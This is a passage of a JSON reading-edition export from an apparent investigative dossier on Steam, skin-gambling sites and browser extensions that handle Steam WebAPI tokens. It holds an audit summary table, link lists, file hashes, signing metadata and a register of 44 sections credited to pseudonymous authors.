            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#method"
          },
          {
            "level": 3,
            "text": "Not measured",
            "anchor": "pd-extension-audit--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#method"
          },
          {
            "level": 2,
            "text": "Sources and downloads.",
            "anchor": "pd-extension-audit--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit"
          },
          {
            "label": "Read the new findings ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html"
          },
          {
            "label": "The CSGOFast/SIH/Valve case ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html"
          },
          {
            "label": "Download evidence record ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/audit-record.json"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/extension-audit.html"
          },
          {
            "label": "official redirect ↗",
            "url": "https://csgoroll.com/extension"
          },
          {
            "label": "The CSGOFast/SIH/Valve case ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html"
          },
          {
            "label": "three-column comparison",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html#credentials"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/extension-audit.html#traces"
          },
          {
            "label": "The CSGOFast/SIH/Valve case ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html"
          },
          {
            "label": "the platform’s settlement rules",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html#settlement-rules"
          },
          {
            "label": "Read the current Fast integration findings ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html#fast"
          },
          {
            "label": "Evidence JSON ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/audit-record.json"
          },
          {
            "label": "English report ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/audit-report.md"
          },
          {
            "label": "Inspect the new first-party evidence ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html#fast"
          },
          {
            "label": "11 October runtime capture of SIH 2.11.12",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#runtime-capture"
          },
          {
            "label": "version ledger",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#evidence-versions"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/extension-audit.html#method"
          },
          {
            "label": "CSGORoll’s current extension redirect ↗",
            "url": "https://csgoroll.com/extension"
          },
          {
            "label": "Steam WebAPI Token Extension — Chrome Web Store ↗",
            "url": "https://chromewebstore.google.com/detail/steam-webapi-token-extens/bdgacfnoihldeemdcbggkgmjgdfcliah"
          },
          {
            "label": "Current CRX from Google’s update service ↗",
            "url": "https://clients2.google.com/service/update2/crx?response=redirect&prodversion=140.0.0.0&acceptformat=crx2%2Ccrx3&x=id%3Dbdgacfnoihldeemdcbggkgmjgdfcliah%26uc"
          },
          {
            "label": "CSGORoll — WebAPI P2P Solution ↗",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "CSGORoll — WebAPI Trading Extension ↗",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "CSGORoll Help Center — Steam WebAPI Token ↗",
            "url": "https://intercom.help/csgoroll/en/articles/12033745-steam-webapi-token"
          },
          {
            "label": "SIH official download page ↗",
            "url": "https://steaminventoryhelper.com/"
          },
          {
            "label": "SIH official ZIP ↗",
            "url": "https://download.steaminventoryhelper.com/chrome-extension.zip"
          },
          {
            "label": "SIH — Chrome Web Store ↗",
            "url": "https://chromewebstore.google.com/detail/steam-inventory-helper/cmeakgjggjdlcpncigglobpjbkabhmjl"
          },
          {
            "label": "Chromium — CRX3 format ↗",
            "url": "https://raw.githubusercontent.com/chromium/chromium/main/components/crx_file/crx3.proto"
          },
          {
            "label": "Chrome — cross-origin network requests ↗",
            "url": "https://developer.chrome.com/docs/extensions/develop/concepts/network-requests"
          },
          {
            "label": "Chrome — cookies API ↗",
            "url": "https://developer.chrome.com/docs/extensions/reference/api/cookies"
          },
          {
            "label": "Chrome — alarms API ↗",
            "url": "https://developer.chrome.com/docs/extensions/reference/api/alarms"
          },
          {
            "label": "CSGORoll-linked manifest ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/csgoroll-manifest.json"
          },
          {
            "label": "SIH manifest ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/sih-manifest.json"
          },
          {
            "label": "Signature results ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/crx-verification.json"
          },
          {
            "label": "Offline check results ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/offline-checks.json"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "What the reviewed evidence establishes",
            "rows": [
              [
                "Mechanism",
                "Trigger",
                "Observed evidence"
              ],
              [
                "CSGORoll · April 2024 instructions",
                "Daily renewal",
                "The operator instructs users to obtain the token in the same logged-in Steam session and renew it daily. [A04]"
              ],
              [
                "CSGORoll · June 2024 announcement",
                "Automatic collection and refresh",
                "The announcement describes background collection and transmission to its servers. The earlier package was not acquired for code inspection. CSGORoll should release the 2024 package that performed the announced automatic collection, together with its collection logs. [A05]"
              ],
              [
                "Current linked extension · 1.2",
                "Popup opens",
                "The inspected entry point reads the profile token. There is no scheduled 24-hour renewal in this registered path. [R02–R03]"
              ],
              [
                "SIH · token-request handler",
                "Server message",
                "The active handler can extract and return a token on request. The production request cadence is server-side. [S02]"
              ],
              [
                "SIH · trade API recovery",
                "HTTP 403 response",
                "Reread profile → extract token → update storage → retry. A profile-cache threshold of 60 seconds is separate from token validity. [S04]"
              ],
              [
                "SIH · authenticator subsystem",
                "Expiry check / explicit refresh call",
                "A separate path uses a refresh token and SteamID to request a Steam-issued access token. [S05]"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/audit-record.json",
          "sha256": "4e3d019401d3a31657cf6257fed90eda1cf2aa239aa15a9d594cbb7207f37fa8",
          "bytes": 26708
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/csgoroll-manifest.json",
          "sha256": "54fc384be1c1da10ec433da4bf0513e33d58628835f645272e6607df736b4546",
          "bytes": 740
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/sih-manifest.json",
          "sha256": "1c8c25240f14c8e9fd40df3272c24f0a3cff2af0823088dd60c6bbc285a9b74e",
          "bytes": 18170
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/crx-verification.json",
          "sha256": "39cf0db605cb77c9f803fc704abdcef5fe0d196cd1a112a15e8d527118f3fac9",
          "bytes": 1057
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/extension-audit-2026-10-10/offline-checks.json",
          "sha256": "257d7177c979cf01f1296ee2a491c8c97ed79940973f6bc43fbdb071382af0d4",
          "bytes": 495
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "fragment_map",
      "language": "en",
      "title": "Fragment map · Authors & signatures — PhishDestroy",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/fragment_map",
      "source_file": "steam_dossier/fragment_map.html",
      "source_html_sha256": "abc472ea8bd01fab50f82b47b9601fd7f11d283f9e0e70a1b4660c52ce83c0b1",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "fragment_map.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/fragment_map.pdf",
        "sha256": "b45cecbb2aebdbc7875ac9d540ddcae7fcd31852e83845843f7b76bb4169b108",
        "bytes": 257350,
        "pages": 9
      },
      "integrity": {
        "signed_object": "fragment_map.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/fragment_map.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/fragment_map.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nPHISHDESTROYForensic investigation · Valve / Steam\nThe Agent Protocol · Material register\nFragment map — authors & signatures\n\nThe numbered points of the investigation, with one Agent assigned to each material. Open the original material and its available text, data or signed exports.\n\n44 materials44 authors1 fact = 1 author\nMaterial registerTitles, authors and signed files\n\n44 materials · 44 distinct Agent pseudonyms. The original records link their signed exports. The twelve case files added on 11 October 2026 link their complete text and publication hashes. PhishDestroy publishes the investigation.\n\n44 materials\n\nFragment title / ID\tAuthor\tLanguage\tFiles / signature\nCase briefing and executive summarySection 1 · section-1Read this point in the dossier ↗\tAgent Austin\tEN\tPDFJSONPGP signature\nOpen letter to the Washington State Gambling CommissionSection 2 · section-2Read this point in the dossier ↗\tAgent Kal\tEN\tPDFJSONPGP signature\nSeparate-domain authentication hosts: the Link Filter evidenceSection 3 · section-3Read this point in the dossier ↗\tAgent Lynn\tEN\tPDFJSONPGP signature\nInside Steam, Valve's list is the only listSection 3.1 · section-3-1Read this point in the dossier ↗\tAgent June\tEN\tPDFJSONPGP signature\nThe Big Picture Trap: Multi-Year Longitudinal Phishing Audit (120 Domains)Section 3.2 · section-3-2Read this point in the dossier ↗\tAgent Ignatus\tEN\tPDFJSONPGP signature\nThe Asset ID blackout: the update that restricted public item tracingSection 4 · section-4Read this point in the dossier ↗\tAgent Gordon\tEN\tPDFJSONPGP signature\nThe vulnerability profile of the pre-2023 API-key architectureSection 5 · section-5Read this point in the dossier ↗\tAgent Sofia\tEN\tPDFJSONPGP signature\nThe standards were public and dated: Valve builds against them every daySection 5.1 · section-5-1Read this point in the dossier ↗\tAgent Lucia\tEN\tPDFJSONPGP signature\nInteractive Exploit & Hijack SimulatorSection 6 · section-6Read this point in the dossier ↗\tAgent Carla\tEN\tPDFJSONPGP signature\nSteam Web API endpoints used in the hijack patternSection 7 · section-7Read this point in the dossier ↗\tAgent Amy\tEN\tPDFJSONPGP signature\nMachine-injected consentSection 8 · section-8Read this point in the dossier ↗\tAgent Aaron\tEN\tPDFJSONPGP signature\nForensic Autopsy: How Valve Killed Trade Substitution (And Left 3 Loopholes)Section 8.1 · section-8-1Read this point in the dossier ↗\tAgent Jasmine\tEN\tPDFJSONPGP signature\nSelective enforcement: the rulebook against the recordSection 9 · section-9Read this point in the dossier ↗\tAgent Lorraine\tEN\tPDFJSONPGP signature\nThe Web API paradox: a rule against the automation Valve shipsSection 10 · section-10Read this point in the dossier ↗\tAgent Dylan\tEN\tPDFJSONPGP signature\nThe July 2016 notice and the Washington recordSection 11 · section-11Read this point in the dossier ↗\tAgent Mariana\tEN\tPDFJSONPGP signature\nThe 10-Day Notice Decade: Survival Audit of the 23 Named Sites & The Surviving TitansSection 11.1 · section-11-1Read this point in the dossier ↗\tAgent Constance\tEN\tPDFJSONPGP signature\nEnforcement feasibility: domain-level blockingSection 12 · section-12Read this point in the dossier ↗\tAgent Randall\tEN\tPDFJSONPGP signature\nThe off-Steam price gapSection 13 · section-13Read this point in the dossier ↗\tAgent Neil\tEN\tPDFJSONPGP signature\nSupport access and the theft ledgerSection 14 · section-14Read this point in the dossier ↗\tAgent Tom\tEN\tPDFJSONPGP signature\nThe register: six accounts taken through the help-request channel, June 2022 → November 2025Section 14.1 · section-14-1Read this point in the dossier ↗\tAgent Dora\tEN\tPDFJSONPGP signature\nThe money trail: liquidity, AML and KYCSection 15 · section-15Read this point in the dossier ↗\tAgent Helen\tEN\tPDFJSONPGP signature\nThe Digital Services Act: put knowledge on the recordSection 16 · section-16Read this point in the dossier ↗\tAgent John\tEN\tPDFJSONPGP signature\nMinors: a Steam login is not an age checkSection 17 · section-17Read this point in the dossier ↗\tAgent Mary\tEN\tPDFJSONPGP signature\nA GDPR access request closed without dataSection 18 · section-18Read this point in the dossier ↗\tAgent Viola\tEN\tPDFJSONPGP signature\nThe Subscriber Agreement against the platform's own architectureSection 19 · section-19Read this point in the dossier ↗\tAgent Beatrix\tEN\tPDFJSONPGP signature\nAutomation has a paper trail.Part II · Section 1 · part-ii-section-1Read this point in the dossier ↗\tAgent Sean\tEN\tPDFJSONPGP signature\nWhich key are we talking about?Part II · Section 2 · part-ii-section-2Read this point in the dossier ↗\tAgent Larry\tEN\tPDFJSONPGP signature\nThe item can be rare. The limit stays.Part II · Section 3 · part-ii-section-3Read this point in the dossier ↗\tAgent Katherine\tEN\tPDFJSONPGP signature\nEntrusted with data. Accountable for access.Part II · Section 4 · part-ii-section-4Read this point in the dossier ↗\tAgent Elliott\tEN\tPDFJSONPGP signature\nEvery amount needs a case.Part II · Section 5 · part-ii-section-5Read this point in the dossier ↗\tAgent Tabitha\tEN\tPDFJSONPGP signature\nThe Major showcase — skins, stars & demandEvidence file · Major skins · major-skinsOpen the Major skin evidence file ↗\tAgent Simon\tEN\tPDFJSONPGP signature\nTen days to stop. Seven years later, at G2’s booth.Evidence file · Major sponsorships · major-sponsorshipsOpen the sponsorship investigation ↗\tAgent Rowan\tEN\tPDFJSONPGP signature\nCSGOFast / SIHCase file · 11 October 2026 · csgofast-sihRead the investigation ↗\tAgent Nora\tEN\tComplete textFile hashes\nReviews & incentivesCase file · 11 October 2026 · reviews-and-incentivesRead the investigation ↗\tAgent Vera\tEN\tComplete textFile hashes\nValve & enforcementCase file · 11 October 2026 · valve-and-enforcementRead the investigation ↗\tAgent Elise\tEN\tComplete textFile hashes\nThe gambling systemCase file · 11 October 2026 · gambling-systemRead the investigation ↗\tAgent Victor\tEN\tComplete textFile hashes\nSteam accessCase file · 11 October 2026 · steam-accessRead the investigation ↗\tAgent Milo\tEN\tComplete textFile hashes\nEmpire / Roll / FastCase file · 11 October 2026 · trade-trackingRead the investigation ↗\tAgent Leon\tEN\tComplete textFile hashes\nExtension packagesCase file · 11 October 2026 · extension-auditRead the investigation ↗\tAgent Cora\tEN\tComplete textFile hashes\nIdentity & AMLCase file · 11 October 2026 · aml-dataRead the investigation ↗\tAgent Clara\tEN\tComplete textFile hashes\nPayments & countersCase file · 11 October 2026 · money-and-enforcementRead the investigation ↗\tAgent Elias\tEN\tComplete textFile hashes\nSponsors & cosmetic controlCase file · 11 October 2026 · major-and-sponsorsRead the investigation ↗\tAgent Lena\tEN\tComplete textFile hashes\nPrivacy & enforcementCase file · 11 October 2026 · privacy-and-enforcementRead the investigation ↗\tAgent Noel\tEN\tComplete textFile hashes\nThree games & securityCase file · 11 October 2026 · three-games-and-securityRead the investigation ↗\tAgent Nadia\tEN\tComplete textFile hashes\n\nComplete signed index (JSON) · Index signature",
        "headings": [
          {
            "level": 1,
            "text": "Fragment map — authors & signatures",
            "anchor": "pd-fragment_map--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/fragment_map"
          },
          {
            "level": 2,
            "text": "Material register Titles, authors and signed files",
            "anchor": "pd-fragment_map--fragment-map-title",
            "source_url": "https://phishdestroy.io/steam_dossier/fragment_map#fragment-map-title"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/fragment_map"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#briefing-section"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_1_agent_austin.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_1_agent_austin.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_1_agent_austin.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#wsgc-public-address"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_2_agent_kal.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_2_agent_kal.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_2_agent_kal.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_agent_lynn.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_agent_lynn.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_agent_lynn.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#inside-steam-filter"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_1_agent_june.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_1_agent_june.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_1_agent_june.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#linkfilter-coverage"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_2_agent_ignatus.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_2_agent_ignatus.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_2_agent_ignatus.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#evidence-blackout"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_4_agent_gordon.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_4_agent_gordon.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_4_agent_gordon.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#vulnerability-profile"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_agent_sofia.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_agent_sofia.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_agent_sofia.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#integration-paradox-title"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_1_agent_lucia.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_1_agent_lucia.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_1_agent_lucia.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#hijack-simulation"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_6_agent_carla.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_6_agent_carla.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_6_agent_carla.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#api-reference"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_7_agent_amy.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_7_agent_amy.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_7_agent_amy.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#consent-analysis"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_agent_aaron.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_agent_aaron.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_agent_aaron.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#autopsy-trade-substitution"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_1_agent_jasmine.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_1_agent_jasmine.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_1_agent_jasmine.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#selective-enforcement"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_9_agent_lorraine.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_9_agent_lorraine.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_9_agent_lorraine.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#api-paradox"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_10_agent_dylan.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_10_agent_dylan.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_10_agent_dylan.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#case-study-section"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_agent_mariana.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_agent_mariana.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_agent_mariana.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#cd-survival-audit"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_1_agent_constance.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_1_agent_constance.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_1_agent_constance.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#autoban-feasibility-section"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_12_agent_randall.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_12_agent_randall.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_12_agent_randall.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#market-gap-section"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_13_agent_neil.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_13_agent_neil.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_13_agent_neil.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#insider-threat"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_agent_tom.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_agent_tom.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_agent_tom.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#theft-ledger-title"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_1_agent_dora.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_1_agent_dora.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_1_agent_dora.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#aml-kyc"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_15_agent_helen.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_15_agent_helen.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_15_agent_helen.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#dsa-accountability"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_16_agent_john.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_16_agent_john.json"
          },
          {
            "label": "PGP signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_16_agent_john.json.asc"
          },
          {
            "label": "Read this point in the dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#minors-protection"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_17_agent_mary.pdf"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_17_agent_mary.json"
          },
          {
            "label": "PGP signature",
